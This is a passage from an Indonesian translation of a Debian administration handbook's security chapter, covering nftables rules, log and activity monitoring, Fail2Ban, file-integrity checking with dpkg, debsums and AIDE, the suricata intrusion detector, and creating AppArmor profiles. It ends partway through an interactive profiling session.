Alat iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft adalah versi iptables yang menggunakan API nftables, sehingga pengguna dapat tetap menggunakan sintaks iptables lama dengan mereka, tapi itu tidak dianjurkan; alat ini hanya boleh digunakan untuk kesesuaian ke belakang.

14.2.3. Sintaks nft

Perintah nft memungkinkan memanipulasi tabel, rantai, dan aturan. Opsi table mendukung beberapa operasi: add, create, delete, list, dan flush. nft add table ip6 mangle menambahkan tabel baru dari keluarga ip6.

Untuk memasukkan rantai dasar baru ke tabel filter, Anda dapat mengeksekusi perintah berikut (perhatikan bahwa titik koma di-escape dengan garis miring terbalik saat menggunakan Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Aturan biasanya ditambahkan dengan sintaks berikut: nft add rule [family] table chain handle handle pernyataan .

insert mirip dengan perintah add, namun aturan yang diberikan ditambahkan ke awal rantai atau sebelum aturan dengan handle yang diberikan bukan pada akhir atau setelah aturan itu. Sebagai contoh, perintah berikut ini memasukkan aturan sebelum aturan dengan handler nomor 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

Perintah nft yang dieksekusi tidak membuat perubahan permanen untuk konfigurasi, sehingga mereka akan hilang jika mereka tidak disimpan. Aturan firewall terletak di /etc/nftables.conf. Sebuah cara sederhana untuk menyimpan konfigurasi firewall saat ini secara permanen adalah dengan mengeksekusi nft list ruleset > /etc/nftables.conf sebagai root.

nft memungkinkan lebih banyak operasi, lihat halaman manual nft(8) untuk informasi lebih lanjut.

14.2.4. Menginstal Aturan Pada Setiap Boot

Untuk mengaktifkan firewall default di Debian, Anda perlu menyimpan aturan di /etc/nftables.conf dan mengeksekusi systemctl enable nftables.service sebagai root. Anda dapat menghentikan firewall dengan mengeksekusi ruleset flush pemanggilan sebagai root.

Dalam kasus lain, cara yang disarankan adalah mendaftarkan skrip konfigurasi dalam direktif up dari berkas /etc/network/interfaces. Pada contoh berikut, skrip disimpan di bawah /usr/local/etc/arrakis.fw.

Contoh 14.1. berkas interface yang memanggil skrip firewall

auto eth0

iface eth0 inet static

address 192.168.0.1

network 192.168.0.0

netmask 255.255.255.0

broadcast 192.168.0.255

up /usr/local/etc/arrakis.fw

Ini jelas mengasumsikan bahwa Anda menggunakan ifupdown untuk mengkonfigurasi antarmuka jaringan. Jika Anda menggunakan sesuatu yang lain (seperti NetworkManager atau systemd-networkd), maka rujuklah ke dokumentasi mereka masing-masing untuk mengetahui cara menjalankan skrip setelah antarmuka telah dihidupkan.

14.3. Supervisi: Pencegahan, Deteksi, Deteren

Pemantauan adalah bagian integral dari kebijakan keamanan untuk beberapa alasan. Di antara mereka, bahwa tujuan keamanan adalah biasanya tidak terbatas pada menjamin kerahasiaan data, tetapi juga termasuk memastikan ketersediaan layanan. Oleh karena itu sangat penting untuk memeriksa bahwa semuanya bekerja seperti yang diharapkan, dan untuk mendeteksi tepat perilaku menyimpang atau mengubah kualitas layanan yang diberikan. Memantau aktivitas dapat membantu mendeteksi upaya intrusi dan memungkinkan reaksi cepat sebelum mereka menimbulkan konsekuensi serius. Bagian ini mengulas beberapa alat yang dapat digunakan untuk memonitor beberapa aspek dari sistem Debian. Dengan demikian, itu melengkapi Bagian 12.4, “Pemantauan”.

14.3.1. Memantau Log dengan logcheck

Program logcheck memonitor berkas log setiap jam secara default. Ia akan mengirimkan pesan-pesan log yang tidak biasa melalui email ke administrator untuk analisa lebih lanjut.

Daftar berkas yang dipantau disimpan dalam /etc/logcheck/logcheck.logfiles; nilai-nilai default bekerja dengan baik jika berkas /etc/rsyslog.conf belum dibongkar habis.

logcheck dapat bekerja di salah satu dari tiga mode yang lebih atau kurang rinci: paranoid, server, dan workstation. Yang pertama adalah sangat rinci, dan mungkin dapat dibatasi ke server tertentu seperti firewall. Modus kedua (dan default) dianjurkan bagi kebanyakan server. Terakhir dirancang untuk workstation, dan ini bahkan lebih ringkas (itu menyaring lebih banyak pesan).

Dalam ketiga kasus, logcheck mungkin perlu disesuaikan untuk mengecualikan beberapa pesan tambahan (tergantung pada layanan yang terpasang), kecuali jika admin benar-benar ingin menerima batch per jam surel-surel panjang yang tidak menarik. Karena mekanisme pemilihan pesan agak rumit, perlu membaca /usr/share/doc/logcheck-database/README.logcheck-database.gz — walaupun menantang.

Aturan yang diterapkan dapat dipecah menjadi beberapa jenis:

- yang memenuhi syarat sebuah pesan sebagai upaya memecah kata sandi (disimpan dalam berkas dalam direktori /etc/logcheck/cracking.d/);

- yang membatalkan kualifikasi seperti itu (/etc/logcheck/cracking.ignore.d/);

- yang mengklasifikasi pesan sebagai sebuah peringatan keamanan (/etc/logcheck/violations.d/);

- yang membatalkan klasifikasi ini (/etc/logcheck/violations.ignore.d/);

- akhirnya, yang diterapkan ke pesan yang tersisa (dianggap sebagai kejadian-kejadian sistem).

HATI-HATI Mengabaikan suatu pesan

Setiap pesan yang ditandai sebagai upaya crack atau sebuah peringatan keamanan (mengikuti aturan yang disimpan dalam berkas /etc/logcheck/violations.d/myfile) hanya dapat diabaikan oleh aturan di berkas /etc/logcheck/violations.ignore.d/myfile atau /etc/logcheck/violations.ignore.d/myfile-ekstensi.

Suatu kejadian sistem selalu diberi sinyal kecuali aturan di salah satu dari direktori /etc/logcheck/ignore.d.{paranoid, server, workstation}/ menyatakan bahwa kejadian tersebut harus diabaikan. Tentu saja, direktori yang diperhitungkan adalah hanya mereka yang tingkat verbositasnya sama atau lebih dari mode operasi yang dipilih.

14.3.2. Memantau Aktivitas

14.3.2.1. Secara Real Time

top adalah alat interaktif yang menampilkan daftar proses yang sedang berjalan. Pengurutan baku berdasarkan banyaknya menggunakan prosesor pada saat ini dan dapat diperoleh dengan tombol P. Urutan lain termasuk besarnya memori yamg diduduki (M kunci), oleh waktu total prosesor (kunci T), dan pengenal proses (N kunci). Kunci k memungkinkan mematikan suatu proses dengan memasukkan pengenal prosesnya. Kunci r memungkinkan pengaturan ulang nice proses, yaitu mengubah prioritas.

Ketika sistem tampaknya terbeban lebih, top adalah alat yang hebat untuk melihat proses yang bersaing untuk waktu prosesor atau mengkonsumsi terlalu banyak memori. Secara khusus, hal ini sering menarik untuk diperiksa jika proses yang memakan sumber daya cock dengan layanan nyata yang diketahui diwadahi oleh mesin ini. Proses tidak dikenal yang berjalan sebagai pengguna www-data akan menonjol dan mesti diselidiki, karena mungkin adalah suatu instansi perangkat lunak yang diinstal dan dijalankan pada sistem melalui kerentanan dalam aplikasi web.

top adalah alat yang sangat fleksibel dan halaman manualnya memberikan rincian tentang bagaimana menyesuaikan tampilan dan mengadaptasi ke kebutuhan pribadi dan kebiasaan seseorang.

Alat grafis gnome-system-monitor mirip dengan top dan kurang lebih menyediakan fitur yang sama.

14.3.2.2. Riwayat

Beban prosesor, lalu lintas jaringan, dan ruang bebas disk adalah informasi yang terus-menerus berubah. Mencatat riwayat evolusi mereka sering berguna dalam menentukan persis bagaimana komputer digunakan.

Ada banyak alat khusus untuk tugas ini. Sebagian dapat mengambil data melalui SNMP (Simple Network Management Protocol) untuk memusatkan informasi ini. Manfaat tambahan adalah bahwa hal ini memungkinkan pengambilan data dari elemen-elemen jaringan yang mungkin bukan komputer untuk keperluan umum, seperti router jaringan atau switch.

Buku ini membahas Munin secara cukup rinci (lihat Bagian 12.4.1, “Menyiapkan Munin”) sebagai bagian dari Bab 12: “Administrasi Tingkat Lanjut”. Debian juga menyediakan alat yang mirip, cacti. Penggelarannya sedikit lebih rumit, karena didasarkan semata-mata pada SNMP. Meskipun memiliki antarmuka web, menangkap konsep yang terlibat dalam konfigurasi masih memerlukan usaha. Membaca dokumentasi HTML (/usr/share/doc/cacti/html/index.html) mesti dianggap sebagai prasyarat.

ALTERNATIF mrtg

mrtg (dalam paket yang bernama sama) adalah alat yang lebih tua. Meskipun ada beberapa sisi kasar, ini dapat mengumpulkan data historis dan menampilkan mereka sebagai grafik. Ini mencakup sejumlah skrip yang didedikasikan untuk pengumpulan data paling sering dipantau seperti beban prosesor, trafik jaringan, klik halaman web, dan sebagainya.

Paket-paket mrtg-contrib dan mrtgutils berisi contoh skrip-skrip yang dapat digunakan secara langsung.

14.3.3. Menghindari Intrusi

Penyerang mencoba untuk mendapatkan akses ke server dengan menebak kata sandi, itulah sebabnya kata sandi yang kuat harus selalu digunakan. Bahkan kemudian, Anda juga harus menetapkan tindakan terhadap serangan brute-force. Serangan brute force adalah upaya untuk masuk ke sistem perangkat lunak yang tidak sah dengan melakukan beberapa upaya login dalam waktu singkat.

Cara terbaik untuk menghentikan serangan brute-force adalah dengan membatasi cacah upaya login yang datang dari asal yang sama, biasanya dengan sementara melarang suatu alamat IP.

Fail2Ban adalah keluarga perangkat lunak pencegah intrusi yang dapat dikonfigurasi untuk memonitor layanan apapun yang menulis upaya login ke berkas log. Hal ini dapat ditemukan dalam paket fail2ban.

Fail2Ban dikonfigurasi melalui protokol sederhana dengan fail2ban-client, yang juga membaca berkas konfigurasi dan memberikan perintah konfigurasi yang sesuai ke server, fail2ban-server. Ini memiliki empat jenis berkas konfigurasi, semua disimpan di /etc/fail2ban:

- fail2ban.conf. Konfigurasi global (seperti misalnya pencatatan log).

- filter.d/*.conf. Filter yang menentukan cara mendeteksi kegagalan autentikasi. Paket Debian sudah berisi filter untuk banyak program umum.

- action.d/*.conf. Tindakan yang menentukan perintah untuk melarang dan dan mengizinkan kembali alamat IP.

- jail.conf. Itu adalah di mana jails, kombinasi filter dan tindakan, didefinisikan.

Mari kita lihat konfigurasi sshd di /etc/fail2ban/jail.conf untuk lebih memahami cara kerja Fail2Ban...

[...]

[DEFAULT]

[...]

bantime  = 10m

[...]

maxretry = 5

[...]

[sshd]

port    = ssh

logpath = %(sshd_log)s

backend = %(sshd_backend)s

Fail2Ban akan memeriksa percobaan login gagal untuk sshd menggunakan ekspresi reguler Python yang didefinisikan dalam /etc/fail2ban/filters.d/sshd.conf terhadap berkas log sshd, yang didefinisikan dalam variabel sshd_log dalam berkas /etc/fail2ban/paths_common.conf. Jika Fail2Ban mendeteksi lima upaya login gagal berturut-turut, maka akan melarang alamat IP asal upaya tersebut.

Fail2Ban adalah cara yang sangat sederhana dan efektif untuk melindungi terhadap serangan brute force yang paling umum, tetapi tidak dapat melindungi terhadap serangan brute force terdistribusi, yang ketika seorang penyerang menggunakan sejumlah besar mesin menyebar di internet.

Cara yang baik untuk memberikan perlindungan ekstra terhadap serangan brute force terdistribusi adalah untuk meningkatkan waktu login secara artifisial setelah setiap upaya yang gagal.

14.3.4. Mendeteksi Perubahan

Setelah sistem diinstal dan dikonfigurasi, dan selain peningkatan keamanan, biasanya tidak ada alasan bagi sebagian besar berkas dan direktori untuk berevolusi, kecuali data. Oleh karena itu menarik untuk memastikan bahwa berkas sebenarnya tidak berubah: setiap perubahan yang tidak terduga akan layak untuk diselidiki. Bagian ini menyajikan beberapa alat yang dapat memonitor berkas dan memperingatkan administrator ketika terjadi perubahan yang tidak terduga (atau hanya untuk membuat daftar perubahan tersebut).

14.3.4.1. Mengaudit Paket-paket dengan dpkg --verify

LEBIH JAUH Melindungi terhadap perubahan hulu

dpkg --verify berguna dalam mendeteksi perubahan atas berkas-berkas yang berasal dari paket Debian, tetapi tidak akan berguna jika paket itu sendiri terkompromi, misalnya jika cermin Debian terkompromi. Melindungi terhadap serangan kelas ini melibatkan penggunaan sistem verifikasi tanda tangan digital APT (lihat Bagian 6.6, “Pemeriksaan Otentikasi Paket”), dan hanya menginstal paket dari asal yang bersertifikat.

dpkg --verify (atau dpkg -V) adalah alat yang menarik karena memungkinkan mencari berkas terpasang mana yang telah dimodifikasi (mungkin oleh penyerang), tapi ini tidak boleh dipercaya begitu saja. Untuk melakukan tugasnya, dia bergantung pada checksum yang disimpan dalam basis data dpkg sendiri yang ada pada hard disk (dapat ditemukan di /var/lib/dpkg/info/paket .md5sums); penyerang yang menyeluruh karena itu akan memperbarui berkas ini sehingga mereka mengandung checksum baru untuk berkas yang dipalsukan.

KEMBALI KE DASAR Sidik jari berkas

Sebagai pengingat: sidik jari adalah nilai, sering berupa angka (meskipun dalam notasi heksadesimal), yang berisi semacam tanda tangan untuk isi berkas. Tanda tangan ini dihitung dengan suatu algoritma (MD5 atau SHA1 adalah contoh yang terkenal) yang kurang lebih menjamin bahwa bahkan perubahan terkecil dalam isi berkas menyiratkan perubahan dalam sidik jari; ini dikenal sebagai "efek longsor". Ini memungkinkan sidik jari numerik sederhana untuk berfungsi sebagai tes lakmus untuk memeriksa apakah konten berkas telah diubah. Algoritma ini tidak dapat dibalik; dengan kata lain, bagi sebagian besar dari mereka, mengetahui sidik jari tidak memungkinkan menemukan konten yang sesuai. Kemajuan matematika baru-baru ini tampaknya melemahkan kemutlakan prinsip-prinsip ini, tetapi penggunaannya tidak dipertanyakan sejauh ini, karena membuat konten-konten berbeda yang menghasilkan sidik jari yang sama tampaknya masih merupakan tugas yang cukup sulit.

Menjalankan dpkg -V akan memverifikasi semua paket yang terpasang dan akan mencetak sebaris untuk setiap berkas yang gagal uji. Format keluaran sama dengan salah satu rpm -V dimana setiap karakter menandakan tes atas beberapa metadata spesifik. Sayangnya dpkg tidak menyimpan metadata yang diperlukan untuk sebagian besar tes dan dengan demikian akan menampilkan tanda tanya bagi mereka. Saat ini hanya tes checksum yang dapat menghasilkan "5" pada karakter ketiga (ketika gagal).

# dpkg -V

??5??????   /lib/systemd/system/ssh.service

??5?????? c /etc/libvirt/qemu/networks/default.xml

??5?????? c /etc/lvm/lvm.conf

??5?????? c /etc/salt/roster

Dalam contoh di atas, dpkg laporan perubahan untuk berkas layanan SSH yang dibuat oleh administrator ke berkas yang dikemas alih-alih menggunakan /etc/systemd/system/ssh.service yang sesuai (yang akan disimpan di bawah /etc seperti sebarang perubahan konfigurasi yang seharusnya). Ini juga menampilkan daftar beberapa berkas konfigurasi (diidentifikasi oleh huruf "c" di field kedua) yang telah dimodifikasi secara sah.

14.3.4.2. Mengaudit Paket: debsums dan keterbatasannya

debsums adalah nenek moyang dpkg -V dan dengan demikian sebagian besar usang. It memiliki keterbatasan yang sama dengan dpkg. Untungnya, beberapa batasan dapat diatasi (sedangkan dpkg tidak menawarkan cara mengatasi yang serupa).

Karena data pada disk tidak bisa dipercaya, debsums menawarkan untuk melakukan cek berdasarkan berkas .deb bukan mengandalkan basis data dpkg. Untuk mengunduh berkas terpercaya .deb dari semua paket yang diinstal, kita dapat mengandalkan pengunduhan terotentikasi APT. Operasi ini mungkin lambat dan membosankan, dan karena itu tidak boleh dianggap teknik yang proaktif untuk digunakan secara teratur.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`

[ ... ]

# debsums -p /var/cache/apt/archives --generate=all

Perhatikan bahwa contoh ini menggunakan perintah grep-status dari paket dctrl-tools, yang tidak diinstal secara default.

debsums dapat sering dijalankan sebagai pengaturan cronjob CRON_CHECK di /etc/default/debsums. Untuk mengabaikan berkas tertentu di luar direktori /etc, yang telah sengaja diubah atau yang diharapkan berubah (seperti /usr/share/misc/pci.ids) Anda dapat menambahkannya ke /etc/debsums-ignore.

14.3.4.3. Memantau Berkas: AIDE

Alat AIDE (Advanced Intrusion Detection Environment) memungkinkan memeriksa integritas berkas, dan mendeteksi perubahan terhadap citra yang direkam sebelumnya dari sistem yang berlaku. Citra ini disimpan sebagai basis data (/var/lib/aide/aide.db) yang berisi informasi yang relevan pada semua berkas sistem (sidik jari, izin, stempel waktu, dan seterusnya). Basis data ini pertama diinisialisasi dengan aideinit; ini kemudian digunakan setiap hari (oleh /etc/cron.daily/aide script) untuk memeriksa bahwa tidak ada yang relevan yang berubah. Ketika perubahan terdeteksi, AIDE mencata mereka dalam berkas log (/var/log/aide/*.log) dan mengirimkan temuannya ke administrator melalui surel.

DALAM PRAKTEK Melindungi basis data

Karena AIDE menggunakan basis data lokal untuk membandingkan keadaan berkas, keabsahan hasilnya secara langsung terhubung dengan keabsahan dari basis data. Jika seorang penyerang mendapatkan akses root pada sistem yang terkompromi, mereka akan mampu menggantikan basis data dan menutupi jejak mereka. Solusi yang mungkin adalah dengan menyimpan data referensi pada media penyimpanan hanya-baca.

Banyak pilihan di /etc/default/aide dapat digunakan untuk menala perilaku paket aide. Konfigurasi AIDE tepat disimpan dalam /etc/aide/aide.conf dan /etc/aide/aide.conf.d/ (sebenarnya, berkas-berkas ini hanya digunakan oleh update-aide.conf untuk menghasilkan /var/lib/aide/aide.conf.autogenerated). Konfigurasi menunjukkan properti apa dari berkas mana yang perlu diperiksa. Misalnya, isi dari berkas log berubah secara rutin, dan perubahan tersebut dapat diabaikan selama izin berkas ini tetap sama, tetapi isi dan izin program executable harus konstan. Meskipun tidak sangat kompleks, sintaks konfigurasi tidak sepenuhnya intuitif, dan membaca halaman manual aide.conf(5) karena itu dianjurkan.

Versi baru dari basis data dibuat setiap hari di /var/lib/aide/aide.db.new; jika semua perubahan yang direkam adalah sah, itu dapat dipakai untuk menggantikan basis data referensi.

ALTERNATIF Tripwire dan Samhain

Tripwire ini sangat mirip dengan AIDE; bahkan sintaks berkas konfigurasi hampir sama. Penambahan utama yang disediakan oleh tripwire adalah mekanisme untuk menandatangani berkas konfigurasi, sehingga penyerang tidak dapat membuat itu menunjuk pada versi yang berbeda dari basis data referensi.

Samhain juga menawarkan fitur serupa, serta beberapa fungsi untuk membantu mendeteksi rootkit (lihat bilah sisi LIHAT CEPAT Paket-paket checksecurity dan chkrootkit/rkhunter). Ini dapat juga digunakan secara global di jaringan, dan merekam jejak pada server pusat (dengan tanda tangan).

LIHAT CEPAT Paket-paket checksecurity dan chkrootkit/rkhunter

Yang pertama dari paket ini berisi beberapa skrip kecil yang melakukan pemeriksaan dasar pada sistem (password kosong, berkas setuid baru, dan sebagainya) dan memperingatkan administrator jika diperlukan. Meskipun namanya eksplisit, administrator tidak boleh mengandalkan semata-mata padanya untuk memastikan bahwa suatu sistem Linux aman.

Paket chkrootkit dan rkhunter memungkinkan mencari rootkit yang berpotensi diinstal pada sistem. Sebagai pengingat, ini adalah perca perangkat lunak yang dirancang untuk menyembunyikan kompromi sistem sementara diam-diam menjaga kendali atas mesin. Tes tidak 100% handal, tetapi mereka biasanya dapat menarik perhatian administrator ke masalah-masalah potensi.

rkhunter juga melakukan pemeriksaan untuk melihat apakah perintah telah dimodifikasi, apakah berkas awal mula sistem telah dimodifikasi, dan berbagai pemeriksaan pada antarmuka jaringan, termasuk pemeriksaan untuk aplikasi yang mendengarkan.

14.3.5. Mendeteksi Intrusi (IDS/NIDS)

KEMBALI KE DASAR Denial of service

Serangan "denial of service" memiliki hanya satu tujuan: untuk membuat layanan tidak tersedia. Apakah penyerangan seperti melibatkan membebani berlebih server dengan query atau mengeksploitasi bug, hasil akhir adalah sama: layanan ini tidak lagi operasional. Pengguna biasa tidak senang, dan entitas yang mewadahi layanan jaringan yang ditarget menderita kehilangan reputasi (dan mungkin dalam pendapatan, misalnya jika layanan ini situs e-commerce).

Serangan seperti itu kadang-kadang "didistribusikan"; hal ini biasanya melibatkan membebani berlebih server dengan besar jumlah query yang datang dari berbagai sumber sehingga server menjadi tidak mampu menjawab pertanyaan yang sah. Jenis serangan telah memperoleh akronim yang terkenal: DDoS dan DoS (tergantung pada apakah serangan denial of service didistribusikan atau tidak).

suricata (dalam paket Debian dengan nama yang sama) adalah NIDS — sebuah Network Intrusion Detection System (Sistem Deteksi Intrusi Jaringan). Fungsinya adalah untuk mendengarkan jaringan dan mencoba untuk mendeteksi upaya penyusupan dan/atau tindakan bermusuhan (termasuk serangan denial of service). Semua peristiwa ini dicatat dalam beberapa berkas di /var/log/suricata. Ada alat pihak ketiga (Kibana/logstash) untuk lebih baik mencari semua data yang dikumpulkan.

→ https://suricata-ids.org

→ https://www.elastic.co/products/kibana

HATI-HATI Rentang aksi

Efektivitas suricata dibatasi oleh lalu lintas yang terlihat pada antarmuka jaringan yang termonitor. Itu jelas tidak akan mampu mendeteksi apa-apa jika itu tidak dapat mengamati lalu lintas yang nyata. Ketika terhubung ke switch jaringan, itu akan hanya memantau serangan yang menarget mesin tempatnya berjalan, yang mungkin bukan niat sebenarnya. Mesin yang menjalankan suricata karena itu akan dipasang ke port "mirror" switch, yang biasanya didedikasikan untuk menggabung switch dan karena itu mendapat semua lalu lintas.

Mengkonfigurasi suricata melibatkan meninjau dan menyunting /etc/suricata/suricata-debian.yaml, yang sangat panjang karena setiap parameter dikomentari secara panjang lebar. Sebuah konfigurasi minimalis memerlukan menggambarkan kisaran alamat jaringan lokal yang dicakup (parameter HOME_NET). Dalam prakteknya, ini berarti set semua target serangan yang potensial. Tapi mendapatkan sebagian besar dari itu memerlukan membacanya secara penuh dan mengadaptasinya ke situasi lokal.

Selain ini, Anda juga harus menyunting /etc/default/suricata untuk menentukan antarmuka jaringan yang dipantau dan mengaktifkan skrip init (dengan menetapkan RUN=yes). Anda mungkin juga ingin mengatur LISTENMODE=pcap karena nilai baku LISTENMODE=nfqueue memerlukan konfigurasi lebih lanjut untuk bekerja dengan baik (firewall netfilter harus dikonfigurasi untuk menyampaikan paket ke beberapa antrian ruang pengguna yang ditangani oleh suricata melalui target NFQUEUE).

Untuk mendeteksi perilaku buruk, suricata memerlukan satu set aturan pemantauan: Anda dapat menemukan aturan seperti itu dalam paket snort-rules-default. snort adalah referensi bersejarah dalam ekosistem IDS dan suricata mampu memakai kembali aturan-aturan yang ditulis untuk itu.

Sebagai alternatif, oinkmaster (dalam paket dengan nama yang sama) dapat digunakan untuk mengunduh aturan Snort dari sumber eksternal.

LEBIH LANJUT Integrasi dengan prelude

Prelude membawa pemantauan keamanan informasi terpusat. Arsitektur modularnya mencakup server (manager di prelude-manager) yang mengumpulkan pesan waspada yang dihasilkan oleh sensor dari berbagai jenis.

Suricata dapat dikonfigurasi sebagai sebuah sensor. Kemungkinan lain adalah prelude-lml (Log Monitor Lackey) yang memonitor berkas log (dengan cara yang mirip dengan logcheck, dijelaskan dalam Bagian 14.3.1, “Memantau Log dengan logcheck”).

14.4. Pengantar AppArmor

14.4.1. Prinsip-prinsip

AppArmor adalah sebuah sistem Mandatory Access Control (MAC) yang dibangun di atas antarmuka LSM (Linux Security Modules) Linux. Dalam prakteknya, kernel meng-query AppArmor sebelum setiap panggilan sistem untuk mengetahui apakah proses berwenang untuk melakukan operasi tertentu. Melalui mekanisme ini, AppArmor mengungkung program ke set terbatas sumber daya.

AppArmor menerapkan seperangkat aturan (dikenal sebagai "profil") pada masing-masing program. Profil yang diterapkan oleh kernel tergantung pada path instalasi dari program yang sedang dijalankan. Bertentangan dengan SELinux (dibahas di Bagian 14.5, “Pengantar SELinux”), aturan yang diterapkan tidak bergantung pada pengguna. Semua pengguna menghadapi serangkaian aturan yang sama ketika mereka yang mengeksekusi program yang sama (tapi izin pengguna tradisional masih berlaku dan dapat mengakibatkan perilaku yang berbeda!).

Profil AppArmor disimpan dalam /etc/apparmor.d/ dan mereka berisi daftar aturan kontrol akses pada sumber daya yang dapat digunakan oleh masing-masing program. Profil dikompail dan dimuat ke kernel dengan perintah apparmor_parser. Setiap profil dapat dimuat dalam mode pemaksaan atau komplain. Yang pertama memberlakukan kebijakan dan melaporkan upaya pelanggaran, sementara yang kedua tidak menegakkan kebijakan tapi masih mencatat log panggilan sistem yang mestinya ditolak.

14.4.2. Memfungsikan AppArmor dan mengelola profil AppArmor

Dukungan AppArmor dibangun ke dalam kernel standar yang disediakan oleh Debian. Memfungsikan AppArmor adalah hanya sekadar menginstal beberapa paket dengan mengeksekusi apt install apparmor apparmor-profiles apparmor-utils dengan hak root.

AppArmor berfungsi setelah instalasi, dan aa-status akan mengkonfirmasi dengan cepat:

# aa-status

apparmor module is loaded.

40 profiles are loaded.

23 profiles are in enforce mode.

/usr/bin/evince

/usr/bin/evince-previewer

[...]

17 profiles are in complain mode.

/usr/sbin/dnsmasq

[...]

14 processes have profiles defined.

12 processes are in enforce mode.

/usr/bin/evince (3462)

[...]

2 processes are in complain mode.

/usr/sbin/avahi-daemon (429) avahi-daemon

/usr/sbin/avahi-daemon (511) avahi-daemon

0 processes are unconfined but have a profile defined.

CATATAN Profil AppArmor lainnya

Paket apparmor-profiles berisi profil yang dikelola oleh komunitas AppArmor hulu. Untuk mendapatkan lebih banyak lagi profil Anda dapat menginstal apparmor-profiles-extra yang berisi profil-profil yang dikembangkan oleh Ubuntu dan Debian.

Keadaan setiap profil dapat dialihkan antara memaksa dan komplain dengan panggilan ke aa-enforce dan aa-complain yang memberikan sebagai parameter berupa path executable atau path ke berkas kebijakan. Sebagai tambahan profil dapat dinonaktifkan sepenuhnya dengan aa-disable atau dimasukkan ke dalam modus audit (untuk mencatat log panggilan sistem yang diterima juga) dengan aa-audit.

# aa-enforce /usr/bin/pidgin

Setting /usr/bin/pidgin to enforce mode.

# aa-complain /usr/sbin/dnsmasq

Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. Membuat profil baru

Meskipun membuat profil AppArmor agak mudah, kebanyakan program tidak memilikinya. Bagian ini akan menunjukkan kepada Anda bagaimana membuat profil baru dari awal dengan menggunakan program target dan membiarkan AppArmor memonitor panggilan sistem yang dilakukannya dan sumber daya yang diakses.

Program yang paling penting yang perlu dibatasi adalah program yang menghadapi jaringan karena mereka adalah target yang paling mungkin dari penyerang remote. Itu sebabnya AppArmor menyediakan perintah aa-unconfined untuk menampilkan daftar program yang tidak memiliki profil terkait dan yang mengekspos soket jaringan terbuka. Dengan pilihan --paranoid Anda mendapatkan semua proses yang tak dibatasi yang memiliki setidaknya satu koneksi jaringan yang aktif.

# aa-unconfined

801 /sbin/dhclient not confined

409 /usr/sbin/NetworkManager not confined

411 /usr/sbin/cupsd confined by '/usr/sbin/cupsd (enforce)'

429 /usr/sbin/avahi-daemon confined by 'avahi-daemon (enforce)'

516 /usr/sbin/cups-browsed confined by '/usr/sbin/cups-browsed (enforce)'

538 /usr/sbin/zebra not confined

591 /usr/sbin/named not confined

847 /usr/sbin/mysqld not confined

849 /usr/sbin/sshd not confined

1013 /usr/sbin/dhclient (/sbin/dhclient) not confined

1276 /usr/sbin/apache2 not confined

1322 /usr/sbin/apache2 not confined

1323 /usr/sbin/apache2 not confined

1324 /usr/sbin/apache2 not confined

1325 /usr/sbin/apache2 not confined

1327 /usr/sbin/apache2 not confined

1829 /usr/lib/ipsec/charon confined by '/usr/lib/ipsec/charon (enforce)'

2132 /usr/sbin/exim4 not confined

12865 /usr/bin/python3.7 (/usr/bin/python3) not confined

12873 /usr/bin/python3.7 (/usr/bin/python3) not confined

Dalam contoh berikut, kita dengan demikian akan mencoba untuk membuat profil untuk /sbin/dhclient. Untuk ini, kita akan menggunakan aa-genprof dhclient. Dalam Debian Buster ada bug yang diketahui[6] yang membuat perintah sebelumnya gagal dengan kesalahan berikut: ERROR: Include file /etc/apparmor.d/local/usr.lib.dovecot.deliver not found. Untuk memperbaikinya buat berkas yang kurang dengan touch berkas. Itu akan mengundang Anda untuk menggunakan aplikasi di jendela lain dan ketika selesai untuk kembali ke aa-genprof untuk memindai kejadian-kejadian AppArmor di log sistem dan mengkonversi log ke aturan akses. Untuk setiap kejadian yang dicatat, itu akan membuat satu atau lebih saran aturan yang dapat Anda setujui atau sunting lebih lanjut dalam beberapa cara:

# aa-genprof dhclient

Writing updated profile for /usr/sbin/dhclient.

Setting /usr/sbin/dhclient to complain mode.

Before you begin, you may wish to check if a

profile already exists for the application you

wish to confine. See the following wiki page for

more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

Reading log entries from /var/log/syslog.

Updating AppArmor profiles in /etc/apparmor.d.

Profile:  /usr/sbin/dhclient

Execute:  /usr/sbin/dhclient-script

Severity: unknown

(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish

P

Should AppArmor sanitise the environment when

switching profiles?

Sanitising environment is more secure,

but some applications depend on the presence

of LD_PRELOAD or LD_LIBRARY_PATH.

(Y)es / [(N)o]

Y

Writing updated profile for /usr/sbin/dhclient-script.

Complain-mode changes:

Profile:    /usr/sbin/dhclient

Capability: net_raw

Severity:   8

[1 - capability net_raw,]

[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding capability net_raw to profile.

Profile:  /sbin/dhclient

Capability: net_bind_service

Severity:   8

[1 - #include <abstractions/nis> ]

2 - capability net_bind_service,

(A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish

A

Adding #include <abstractions/nis> to profile.

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

[1 - #include <abstractions/lightdm>]

2 - #include <abstractions/openssl>

3 - #include <abstractions/ssl_keys>

4 - owner /etc/ssl/openssl.cnf r,

(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

2

Profile:  /usr/sbin/dhclient

Path:     /etc/ssl/openssl.cnf

New Mode: owner r

Severity: 2

1 - #include <abstractions/lightdm>

[2 - #include <abstractions/openssl>]

3 - #include <abstractions/ssl_keys>

4 - owner /etc/ssl/openssl.cnf r,

[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore

A

[...]

Profile:  /usr/sbin/dhclient-script

Path:     /usr/bin/dash

New Mode: owner r

Severity: unknown

[1 - #include <abstractions/lightdm>]

2 - #include <abstractions/ubuntu-browsers.d/plugins-common>

3 - owner /usr/bin/dash r,

